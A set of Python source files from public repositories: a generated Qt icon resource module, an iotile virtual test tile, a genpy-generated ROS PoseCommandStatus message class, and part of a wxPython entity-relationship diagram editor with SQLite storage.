\x40\xe0\x9f\xe0\x76\x0f\x0b\xf3\x23\x50\x31\xb9\x62\xfb\x33\x86\ \x07\xcf\x7f\x81\x9b\x44\xc0\x02\x88\x41\x4f\x0e\x58\x37\x80\x8a\ \x56\x60\xd9\xfa\xff\xfb\x07\x48\xeb\x8d\x91\xe5\x1b\x30\xe6\x80\ \x8e\x67\x78\x46\xe9\xa8\x04\x40\x00\x51\x1e\x03\x90\xa4\x74\x0f\ \x18\x9a\x89\xc0\x58\xf8\xfc\xe9\xd3\x5f\x86\x95\xbb\x5f\x01\x1b\ \x78\xff\xc0\xf5\x98\xb1\x0a\xb0\x8e\x90\x01\xba\xfb\xeb\x27\x86\ \xff\x7f\x40\x35\x2d\x0b\xb0\xa6\x65\x04\x25\x9b\x5d\xd4\x18\x56\ \x01\x08\x20\x5c\xfd\x01\x32\x30\xd3\x3e\x20\xae\x03\x96\x4c\x0c\ \x2f\x5e\xfc\x60\xd8\x79\xe2\x3d\x38\xd9\xb0\x00\xab\x0e\x59\x01\ \x60\x14\xfc\x86\xd5\xb4\x8c\xc0\x8e\x3c\xc3\x34\x6a\x8d\x0b\x01\ \x04\x10\x0b\xce\x24\x44\x1e\x98\x08\xf4\x84\x01\x03\x2b\x63\xfc\ \xc5\xab\x5f\x18\x84\x04\x38\x18\xc4\x44\xd9\x19\x0e\x9f\xfd\x0c\ \x1e\x65\x00\xc6\xd4\x09\xe8\x78\x13\xd5\x00\x40\x00\xb1\xe0\xac\ \x07\xc8\x03\xc0\xe4\x01\xee\xb8\xa8\x00\xf3\x85\xf5\xe1\xf3\x9f\ \x81\x31\xf0\x8d\xe1\xc7\x4f\x90\x4d\x2c\x8f\xa1\xc3\x35\x1f\xa8\ \xe9\x01\x80\x00\xa2\x76\x0c\x80\xbc\xf0\x19\xe8\x89\x58\x60\xb2\ \x3a\xf9\xe7\x2f\xa3\x28\xa8\x5f\x0d\xcc\xe0\xa0\xe6\x41\x02\x90\ \x75\x9b\xda\x43\x8b\x00\x01\xc4\x84\x6b\xc4\x89\x6c\x0c\x19\x59\ \xbb\x0f\xa4\x13\x80\xb1\x70\x1d\xd8\x4c\x00\x36\xa0\x19\x0b\x80\ \x82\xfb\x68\x31\x36\x0a\x10\x40\x43\x7e\x70\x17\x20\x80\x86\xbc\ \x07\x00\x02\x68\xc8\x7b\x00\x20\x80\x86\xbc\x07\x00\x02\x68\xc8\ \x7b\x00\x20\x80\x86\xbc\x07\x00\x02\x68\xc8\x7b\x00\x20\x80\x86\ \xbc\x07\x00\x02\x68\xc8\x7b\x00\x20\x80\x86\xbc\x07\x00\x02\x0c\ \x00\x3d\xbe\x35\x42\x90\x83\xca\x79\x00\x00\x00\x00\x49\x45\x4e\ \x44\xae\x42\x60\x82\ " qt_resource_name = "\ \x00\x04\ \x00\x06\xfa\x5e\ \x00\x69\ \x00\x63\x00\x6f\x00\x6e\ \x00\x05\ \x00\x7a\xc0\x25\ \x00\x73\ \x00\x74\x00\x79\x00\x6c\x00\x65\ \x00\x0c\ \x0d\xcb\x83\xdb\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x75\x00\x69\x00\x5f\x00\x6f\x00\x6b\ \x00\x0f\ \x08\x05\x20\x02\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x75\x00\x69\x00\x5f\x00\x65\x00\x72\x00\x72\x00\x6f\x00\x72\ \x00\x07\ \x0a\x65\xa6\xe5\ \x00\x63\ \x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\ \x00\x07\ \x08\xbd\x8c\x78\ \x00\x72\ \x00\x65\x00\x66\x00\x72\x00\x65\x00\x73\x00\x68\ \x00\x03\ \x00\x00\x67\xa4\ \x00\x61\ \x00\x64\x00\x64\ \x00\x0b\ \x0d\xb9\xcf\x34\ \x00\x61\ \x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\ \x00\x0f\ \x0b\x7f\x11\x3e\ \x00\x66\ \x00\x6c\x00\x6f\x00\x77\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x6f\x00\x77\x00\x6e\ \x00\x04\ \x00\x07\x72\x89\ \x00\x70\ \x00\x6c\x00\x61\x00\x79\ \x00\x10\ \x04\xbd\x0f\xa3\ \x00\x6d\ \x00\x61\x00\x67\x00\x6e\x00\x69\x00\x66\x00\x79\x00\x69\x00\x6e\x00\x67\x00\x5f\x00\x67\x00\x6c\x00\x61\x00\x73\x00\x73\ \x00\x0c\ \x0b\x35\x93\x34\ \x00\x6e\ \x00\x65\x00\x77\x00\x5f\x00\x64\x00\x6f\x00\x63\x00\x75\x00\x6d\x00\x65\x00\x6e\x00\x74\ \x00\x06\ \x06\xac\x2c\xa5\ \x00\x64\ \x00\x65\x00\x6c\x00\x65\x00\x74\x00\x65\ \x00\x05\ \x00\x76\x8c\x95\ \x00\x70\ \x00\x61\x00\x75\x00\x73\x00\x65\ \x00\x10\ \x00\x81\xb8\x23\ \x00\x64\ \x00\x75\x00\x70\x00\x6c\x00\x69\x00\x63\x00\x61\x00\x74\x00\x65\x00\x5f\x00\x63\x00\x61\x00\x6e\x00\x76\x00\x61\x00\x73\ \x00\x05\ \x00\x6a\x36\x95\ \x00\x63\ \x00\x6c\x00\x6f\x00\x73\x00\x65\ \x00\x09\ \x09\x6d\x67\xfe\ \x00\x61\ \x00\x72\x00\x72\x00\x6f\x00\x77\x00\x64\x00\x6f\x00\x77\x00\x6e\ \x00\x11\ \x0c\x49\x41\x42\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x6f\x00\x75\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x32\ \ \x00\x04\ \x00\x07\x35\x74\ \x00\x6c\ \x00\x6f\x00\x61\x00\x64\ \x00\x02\ \x00\x00\x07\x4f\ \x00\x6e\ \x00\x6f\ \x00\x06\ \x07\xa8\x8d\xc4\ \x00\x74\ \x00\x61\x00\x72\x00\x67\x00\x65\x00\x74\ \x00\x02\ \x00\x00\x07\xc0\ \x00\x75\ \x00\x70\ \x00\x0f\ \x07\x01\x59\x67\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x69\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\ \x00\x04\ \x00\x06\xb6\xde\ \x00\x64\ \x00\x6f\x00\x77\x00\x6e\ \x00\x10\ \x00\x15\x96\x42\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x69\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x32\ \x00\x0a\ \x05\xc4\xcf\x82\ \x00\x61\ \x00\x64\x00\x64\x00\x5f\x00\x66\x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\ \x00\x0a\ \x05\x9a\xc5\x23\ \x00\x6e\ \x00\x65\x00\x77\x00\x5f\x00\x63\x00\x61\x00\x6e\x00\x76\x00\x61\x00\x73\ \x00\x0c\ \x08\xd2\x8f\xe3\ \x00\x63\ \x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x5f\x00\x63\x00\x61\x00\x6e\x00\x76\x00\x61\x00\x73\ \x00\x04\ \x00\x06\xcf\x04\ \x00\x65\ \x00\x78\x00\x69\x00\x74\ \x00\x06\ \x07\x8b\xa6\x84\ \x00\x72\ \x00\x65\x00\x63\x00\x6f\x00\x72\x00\x64\ \x00\x0a\ \x06\x56\x71\x5b\ \x00\x73\ \x00\x74\x00\x6f\x00\x70\x00\x5f\x00\x62\x00\x6c\x00\x61\x00\x63\x00\x6b\ \x00\x12\ \x0e\xcf\xce\x35\ \x00\x73\ \x00\x65\x00\x6c\x00\x65\x00\x63\x00\x74\x00\x5f\x00\x66\x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x70\x00\x61\x00\x67\ \x00\x65\ \x00\x10\ \x0f\xc4\x94\x07\ \x00\x66\ \x00\x69\x00\x6c\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x6f\x00\x75\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\ \x00\x0a\ \x06\xdb\x38\xf4\ \x00\x61\ \x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x6c\x00\x65\x00\x66\x00\x74\ \x00\x0b\ \x0d\x8a\x60\xd2\ \x00\x61\ \x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x6f\x00\x77\x00\x6e\x00\x32\ " qt_resource_struct = "\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x1f\x00\x00\x00\x05\ \x00\x00\x00\x0e\x00\x02\x00\x00\x00\x02\x00\x00\x00\x03\ \x00\x00\x00\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd4\ \x00\x00\x00\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x01\xcc\x00\x00\x00\x00\x00\x01\x00\x00\xc1\x18\ \x00\x00\x01\xe8\x00\x00\x00\x00\x00\x01\x00\x00\xd6\xd3\ \x00\x00\x00\x88\x00\x00\x00\x00\x00\x01\x00\x00\x1d\xfd\ \x00\x00\x02\x16\x00\x00\x00\x00\x00\x01\x00\x00\xe5\x51\ \x00\x00\x02\x9c\x00\x00\x00\x00\x00\x01\x00\x01\x00\xab\ \x00\x00\x01\xbe\x00\x00\x00\x00\x00\x01\x00\x00\xbb\xb1\ \x00\x00\x00\xd4\x00\x00\x00\x00\x00\x01\x00\x00\x29\x6e\ \x00\x00\x02\x24\x00\x00\x00\x00\x00\x01\x00\x00\xeb\x7a\ \x00\x00\x01\x6e\x00\x00\x00\x00\x00\x01\x00\x00\xa3\xf2\ \x00\x00\x01\x38\x00\x00\x00\x00\x00\x01\x00\x00\x9a\x84\ \x00\x00\x01\x48\x00\x00\x00\x00\x00\x01\x00\x00\xa0\xe0\ \x00\x00\x00\xe2\x00\x00\x00\x00\x00\x01\x00\x00\x2f\x53\ \x00\x00\x02\x64\x00\x00\x00\x00\x00\x01\x00\x00\xf7\x41\ \x00\x00\x02\x4a\x00\x00\x00\x00\x00\x01\x00\x00\xf6\x95\ \x00\x00\x02\xbc\x00\x00\x00\x00\x00\x01\x00\x01\x23\x1b\ \x00\x00\x01\x26\x00\x00\x00\x00\x00\x01\x00\x00\x95\x1d\ \x00\x00\x03\x26\x00\x00\x00\x00\x00\x01\x00\x01\x44\x81\ \x00\x00\x01\xf2\x00\x00\x00\x00\x00\x01\x00\x00\xdd\x08\ \x00\x00\x02\xaa\x00\x00\x00\x00\x00\x01\x00\x01\x05\x29\ \x00\x00\x01\xd6\x00\x00\x00\x00\x00\x01\x00\x00\xc7\x32\ \x00\x00\x00\x74\x00\x00\x00\x00\x00\x01\x00\x00\x17\xb2\ \x00\x00\x02\x7e\x00\x00\x00\x00\x00\x01\x00\x00\xf8\x03\ \x00\x00\x01\x7e\x00\x00\x00\x00\x00\x01\x00\x00\xa9\x18\ \x00\x00\x00\x60\x00\x00\x00\x00\x00\x01\x00\x00\x01\xa9\ \x00\x00\x01\x08\x00\x00\x00\x00\x00\x01\x00\x00\x90\xa0\ \x00\x00\x00\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x27\x20\ \x00\x00\x01\x96\x00\x00\x00\x00\x00\x01\x00\x00\xb1\x15\ \x00\x00\x03\x40\x00\x00\x00\x00\x00\x01\x00\x01\x4a\xa7\ \x00\x00\x00\x94\x00\x00\x00\x00\x00\x01\x00\x00\x21\x03\ \x00\x00\x02\xd6\x00\x00\x00\x00\x00\x01\x00\x01\x36\x57\ \x00\x00\x03\x00\x00\x00\x00\x00\x00\x01\x00\x01\x3c\x18\ " def qInitResources(): QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources()
brunoabud/ic
gui/ic_resources_rc.py
Python
gpl-3.0
365,799
"""Virtual Tile for testing TileBasedVirtualDevice.""" from iotile.core.hw.virtual import VirtualTile, tile_rpc class TestTile(VirtualTile): def __init__(self, address, _args, device=None): super(TestTile, self).__init__(address, 'test42') @tile_rpc(0x0000, "LL", "L") def add(self, arg_1, arg_2): """Add arg_1 and arg_2.""" return [arg_1 + arg_2] @tile_rpc(0x1111, "", "") def null_rpc(self): pass @tile_rpc(0x8091, "BB12s", "L") def invalid_rpc_args_length_test(self, a, b, c): return [1] @tile_rpc(0xaaaa, "L", "") def invalid_rpc_args_empty_pass_in(self, a): return []
iotile/coretools
iotilecore/test/test_rpc/rpc_device.py
Python
gpl-3.0
665
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from nasa_r2_common_msgs/PoseCommandStatus.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import genpy class PoseCommandStatus(genpy.Message): _md5sum = "82493b7735e3fe414b93381d96bfd1ee" _type = "nasa_r2_common_msgs/PoseCommandStatus" _has_header = False #flag to mark the presence of a Header object _full_text = """time stamp string commandId uint8 PENDING=0 uint8 ACTIVE=1 uint8 REJECTED=2 uint8 SUCCEEDED=3 uint8 FAILED=4 uint8 status string statusMessage """ # Pseudo-constants PENDING = 0 ACTIVE = 1 REJECTED = 2 SUCCEEDED = 3 FAILED = 4 __slots__ = ['stamp','commandId','status','statusMessage'] _slot_types = ['time','string','uint8','string'] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: stamp,commandId,status,statusMessage :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(PoseCommandStatus, self).__init__(*args, **kwds) #message fields cannot be None, assign default values for those that are if self.stamp is None: self.stamp = genpy.Time() if self.commandId is None: self.commandId = '' if self.status is None: self.status = 0 if self.statusMessage is None: self.statusMessage = '' else: self.stamp = genpy.Time() self.commandId = '' self.status = 0 self.statusMessage = '' def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: _x = self buff.write(_struct_2I.pack(_x.stamp.secs, _x.stamp.nsecs)) _x = self.commandId length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) buff.write(_struct_B.pack(self.status)) _x = self.statusMessage length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(_x)))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(_x)))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: if self.stamp is None: self.stamp = genpy.Time() end = 0 _x = self start = end end += 8 (_x.stamp.secs, _x.stamp.nsecs,) = _struct_2I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.commandId = str[start:end].decode('utf-8') else: self.commandId = str[start:end] start = end end += 1 (self.status,) = _struct_B.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.statusMessage = str[start:end].decode('utf-8') else: self.statusMessage = str[start:end] self.stamp.canon() return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: _x = self buff.write(_struct_2I.pack(_x.stamp.secs, _x.stamp.nsecs)) _x = self.commandId length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) buff.write(_struct_B.pack(self.status)) _x = self.statusMessage length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(_x)))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(_x)))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: if self.stamp is None: self.stamp = genpy.Time() end = 0 _x = self start = end end += 8 (_x.stamp.secs, _x.stamp.nsecs,) = _struct_2I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.commandId = str[start:end].decode('utf-8') else: self.commandId = str[start:end] start = end end += 1 (self.status,) = _struct_B.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.statusMessage = str[start:end].decode('utf-8') else: self.statusMessage = str[start:end] self.stamp.canon() return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I _struct_B = struct.Struct("<B") _struct_2I = struct.Struct("<2I")
mkhuthir/catkin_ws
src/chessbot/devel/lib/python2.7/dist-packages/nasa_r2_common_msgs/msg/_PoseCommandStatus.py
Python
gpl-3.0
6,694
#!/usr/bin/python # -*- coding: windows-1252 -*- import wxversion wxversion.select('2.8') import wx import wx.lib.ogl as ogl from log import * from id import * from dialog import * import math import datetime def str2bool(string): return string == 'True' class Entidad(ogl.CompositeShape): def __init__(self, nombre = "entidad", descripcion = "", tipo = 0): ogl.CompositeShape.__init__(self) self.id_entidad = None self.nombre = None self.nombreForma = ogl.TextShape(100, 48) self.descripcion = None self.tipo = tipo self.atributos = [] self.atributosForma = ogl.DividedShape(100, 20) self.editar = 0 self.data = {} self.data["nombre"] = nombre self.data["descripcion"] = descripcion self.relaciones = [] self.entidadesPadres = [] self.entidadesHijas = [] self.nLetras = 10 def CrearEntidad(self, frame, canvas, contador, posX = 60, posY = 65): self.frame = frame self.id_entidad = contador self.nombre = self.data.get("nombre") self.descripcion = self.data.get("descripcion") self.nombreForma.nombre = self.data.get("nombre") dc = wx.ClientDC(canvas) self.SetX(posX) self.SetY(posY) entity = [] entity[len(entity):] = [self] for i in entity: canvas.AddShape(i) self.nombreForma.frame = frame self.nombreForma.SetFormatMode(0, 0) self.nombreForma.SetX(posX) self.nombreForma.SetY(posY - 10) entity = [] entity[len(entity):] = [self.nombreForma] for i in entity: canvas.AddShape(i) self.nombreForma.AddText(self.nombre) self.nombreForma.evthandler = MyEvtHandler() self.nombreForma.evthandler.SetShape(self.nombreForma) self.nombreForma.evthandler.SetPreviousHandler(self.nombreForma.GetEventHandler()) self.nombreForma.SetEventHandler(self.nombreForma.evthandler) self.atributosForma.nombre = self.data.get("nombre", "") self.atributosForma.frame = frame self.atributosForma.SetX(posX) self.atributosForma.SetY(posY) entity = [] entity[len(entity):] = [self.atributosForma] for i in entity: canvas.AddShape(i) region = ogl.ShapeRegion() region.SetProportions(0.0, 0.50) self.atributosForma.AddRegion(region) region = ogl.ShapeRegion() region.SetProportions(0.0, 0.50) self.atributosForma.AddRegion(region) self.atributosForma.SetFormatMode(0, 0) self.atributosForma.SetFormatMode(0, 1) self.atributosForma.evthandler = MyEvtHandler() self.atributosForma.evthandler.SetShape(self.atributosForma) self.atributosForma.evthandler.SetPreviousHandler(self.atributosForma.GetEventHandler()) self.atributosForma.SetEventHandler(self.atributosForma.evthandler) self.SetCanvas(canvas) self.AddChild(self.nombreForma) self.AddChild(self.atributosForma) self.nombreForma.SetDraggable(False) self.atributosForma.SetDraggable(False) self.Show(1) c = self.frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO entidad VALUES ('%s', '%s', '%s')" % (self.id_entidad, self.nombre, self.descripcion)) c.close() self.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Entidad: " + "Id: " + str(self.id_entidad), "Crear Entidad") self.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Entidad: " + "Nombre: " + self.nombreForma.nombre, "Crear Entidad") self.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Entidad: " + "Descripcion: " + self.descripcion, "Crear Entidad") self.frame.GetActiveChild().conexion.commit() self.tree = self.frame.GetActiveChild().tree.AppendItem(self.frame.GetActiveChild().treeEnti, self.nombre, image = self.frame.GetActiveChild().imgEnt, data = wx.TreeItemData(self)) self.treeAtri = self.frame.GetActiveChild().tree.AppendItem(self.tree, 'Atributos', image = self.frame.GetActiveChild().imgAtrPa, data = wx.TreeItemData(self)) return self def ModificarEntidad(self, canvas, entidadModificar, entidades): dlg = Dialogos(canvas.frame, canvas.frame.parent.Idioma(archivo[ENTIDAD_TITULO])) dlg.Entidad(entidadModificar.data) if dlg.ShowModal() == wx.ID_OK: for elemento2 in entidades: if elemento2.nombre == entidadModificar.data.get("nombre") and entidadModificar.nombre != entidadModificar.data.get("nombre"): validar = entidadModificar.ValidarNombreEntidad(entidades) if validar == False: entidadModificar.data["nombre"] = entidadModificar.nombre return 0 entidadModificar.nombre = entidadModificar.data.get("nombre") entidadModificar.descripcion = entidadModificar.data.get("descripcion") entidadModificar.nombreForma.nombre = entidadModificar.data.get("nombre") entidadModificar.atributosForma.nombre = entidadModificar.data.get("nombre") c = entidadModificar.frame.GetActiveChild().conexion.cursor() c.execute("UPDATE entidad SET nombre = ?, descripcion = ? WHERE id = ?", (entidadModificar.nombre, entidadModificar.descripcion, entidadModificar.id_entidad)) c.close() entidadModificar.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Entidad: " + "Nombre: " + entidadModificar.nombre , "Modificar Entidad") entidadModificar.frame.GetActiveChild().conexion.commit() entidadModificar.frame.GetActiveChild().tree.SetItemText(entidadModificar.tree, entidadModificar.nombre) dc = wx.ClientDC(canvas) entidadModificar.nombreForma.FormatText(dc, entidadModificar.nombre, 0) else: return 0 def EliminarEntidad(self, canvas, elemento, entidades, frame): dlg = wx.MessageDialog(frame, 'Desea remover la entidad %s' % elemento.nombre, 'Eliminar Entidad %s' % elemento.nombre, wx.YES_NO | wx.ICON_QUESTION) if dlg.ShowModal() == wx.ID_YES: if elemento.nombreForma.Selected(): dc = wx.ClientDC(canvas) elemento.Select(False, dc) canvas.Redraw(dc) eliminar = [] for elemento2 in elemento.entidadesHijas: for elemento3 in elemento2.relaciones: if elemento3.entidadPadre.nombre == elemento.nombre: eliminar.append(elemento3) for elemento4 in eliminar: ejecute = Relacion() ejecute.EliminarRelacion(elemento4, canvas, frame, entidades) c = frame.conexion.cursor() c.execute("DELETE FROM entidad WHERE id = %s" % elemento.id_entidad) c.close() frame.log.ConstruirStringModelo(str(datetime.datetime.now()), "Entidad: " + "Nombre: " + elemento.nombre, "Eliminar Entidad") frame.conexion.commit() frame.tree.Delete(elemento.tree) canvas.RemoveShape(elemento.atributosForma) canvas.RemoveShape(elemento.nombreForma) canvas.RemoveShape(elemento) return 1 else: return 0 def ValidarNombreEntidad(self, entidades): dial = wx.MessageDialog(entidades[0].frame, "Nombre de la Entidad %s exite!" % self.data.get("nombre"), "Error", wx.OK | wx.ICON_ERROR) dial.ShowModal() dlg = Dialogos(entidades[0].frame, entidad[0].frame.parent.Idioma("Entity")) dlg.Entidad(self.data) if dlg.ShowModal() == wx.ID_OK: for elemento in entidades: if elemento.nombre == self.data.get("nombre") and self.nombre != self.data.get("nombre"): validar = self.ValidarNombreEntidad(entidades) if validar == False: return False else: return False def TipoDeEntidad(self, canvas): dc = wx.ClientDC(canvas) cont = 0 for relacion in self.relaciones: if relacion.tipoRelacion == "Identificadora": cont += 1 if cont != 0: self.tipo = 1 else: self.tipo = 0 if self.tipo == 0: self.atributosForma.SetCornerRadius(0) ejecute = Atributo() ejecute.ModificarAtributosForma(dc, self) else: self.atributosForma.SetCornerRadius(10) ejecute = Atributo() ejecute.ModificarAtributosForma(dc, self) def HeredarAtributos(self, entidad, relacionTipo = 0): dc = wx.ClientDC(entidad.GetCanvas()) ver = 1 for relacion in self.relaciones: if relacion.entidadPadre.nombre == entidad.nombre: if relacion.tipoRelacion == "No-Identificadora": ver = 0 for atributo in entidad.atributos: if atributo.clavePrimaria == True: num = 0 for atributo2 in self.atributos: if atributo.nombre == atributo2.nombre: num = 2 if atributo2.claveForanea == True: num = 1 if num != 1: addAtributo = Atributo() addAtributo.data["nombreAtributo"] = atributo.data["nombreAtributo"] addAtributo.data["descripcion"] = atributo.data["descripcion"] addAtributo.data["primario"] = atributo.data["primario"] addAtributo.data["tipoDeAtributo"] = atributo.data["tipoDeAtributo"] if num == 2: if atributo.data["nombreColumna"]: addAtributo.data["nombreColumna"] = "parent_" + atributo.data["nombreColumna"] else: addAtributo.data["nombreColumna"] = "parent_" + atributo.data["nombreAtributo"] else: addAtributo.data["nombreColumna"] = atributo.data["nombreColumna"] addAtributo.data["longitud"] = atributo.data["longitud"] addAtributo.data["autoIncremento"] = atributo.data["autoIncremento"] addAtributo.data["notNull"] = atributo.data["notNull"] addAtributo.data["foranea"] = True addAtributo.claveForanea = True addAtributo.entidadPadre = entidad addAtributo.atributoPadre = atributo.id_atributo addAtributo.atributoPadreNombre = atributo.nombre addAtributo.nombre = addAtributo.data.get("nombreAtributo") addAtributo.clavePrimaria = addAtributo.data.get("primario") addAtributo.tipo = addAtributo.data.get("tipoDeAtributo") addAtributo.descripcion = addAtributo.data.get("descripcion") addAtributo.nombreColumna = addAtributo.data.get("nombreColumna") addAtributo.longitud = addAtributo.data.get("longitud") addAtributo.autoIncremento = addAtributo.data.get("autoIncremento") addAtributo.notNull = addAtributo.data.get("notNull") addAtributo.id_atributo = self.frame.GetActiveChild().contadorAtributo self.frame.GetActiveChild().contadorAtributo += 1 addAtributo.entidad = self addAtributo.id_entidad = self.id_entidad if ver == 0: addAtributo.clavePrimaria = False addAtributo.data["primario"] = False for atributo3 in self.relaciones: if atributo3.entidadPadre.nombre == entidad.nombre: atributo3.atributosHeredados.append(addAtributo) self.atributos.append(addAtributo) c = self.frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO atributo VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (addAtributo.id_atributo, addAtributo.id_entidad, addAtributo.nombre, addAtributo.nombreColumna, addAtributo.descripcion, addAtributo.tipo, addAtributo.longitud, addAtributo.clavePrimaria, addAtributo.claveForanea, addAtributo.notNull)) c.close() addAtributo.tree = self.frame.GetActiveChild().tree.AppendItem(self.treeAtri, addAtributo.nombre, image = self.frame.GetActiveChild().imgAtr, data = wx.TreeItemData(addAtributo)) a = self.nombreForma.GetHeight() a += 18 self.nombreForma.SetSize(100, a) b = self.atributosForma.GetHeight() b += 18 self.atributosForma.SetSize(100, b) ejecute = Atributo() ejecute.ModificarAtributosForma(dc, self) if self.nombre != entidad.nombre and relacionTipo: for entidadHija in self.entidadesHijas: continuar = 0 for relacion in entidadHija.relaciones: if relacion.entidadPadre.nombre == self.nombre: if relacion.tipoRelacion == "Identificadora": continuar = 1 entidadHija.HeredarAtributos(self, continuar) def ModificarAtributosHeredados(self, dc, atributoModificar): for atributo in self.atributos: if atributo.claveForanea == True: if atributo.atributoPadre == atributoModificar.id_atributo: atributo.nombre = atributoModificar.data.get("nombreAtributo") atributo.tipo = atributoModificar.data.get("tipoDeAtributo") atributo.longitud = atributoModificar.data.get("longitud") atributo.autoIncremento = atributoModificar.data.get("autoIncremento") atributo.notNull = atributoModificar.data.get("notNull") atributo.data["nombreAtributo"] = atributoModificar.data.get("nombreAtributo") atributo.data["tipoDeAtributo"] = atributoModificar.data.get("tipoDeAtributo") atributo.data["longitud"] = atributoModificar.data.get("longitud") atributo.data["autoIncremento"] = atributoModificar.data.get("autoIncremento") atributo.data["notNull"] = atributoModificar.data.get("notNull") atributo.ModificarAtributosForma(dc, self) c = self.frame.GetActiveChild().conexion.cursor() c.execute("UPDATE atributo SET nombre = ?, nom_colum = ?, descripcion = ?, tipo_dato = ?, long_dato = ?, cla_prima = ?, cla_fore = ?, atri_n_null = ? WHERE id = ? AND id_entidad = ?", (atributo.nombre, atributo.nombreColumna, atributo.descripcion, atributo.tipo, atributo.longitud, atributo.clavePrimaria, atributo.claveForanea, atributo.notNull, atributo.id_atributo, atributo.id_entidad)) c.close() self.frame.GetActiveChild().tree.SetItemText(atributo.tree, atributo.nombre) for entidadHija in self.entidadesHijas: entidadHija.ModificarAtributosHeredados(dc, atributo) class Atributo(): def __init__(self, nombre = "", columna = "", descripcion = "", tipoAtributo = "", longitud = "0", primario = False, notNull = False, foranea = False): self.id_atributo = 0 self.id_entidad = 0 self.nombre = nombre self.nombreColumna = columna self.tipo = None self.precision = 10 self.escala = 0 self.clavePrimaria = primario self.claveForanea = foranea self.notNull = False self.autoIncremento = False self.descripcion = None self.valorPredeterminado = False self.longitud = 0 self.editar = 0 self.data = {} self.data["nombreAtributo"] = nombre self.data["nombreColumna"] = columna self.data["descripcion"] = descripcion self.data["tipoDeAtributo"] = tipoAtributo 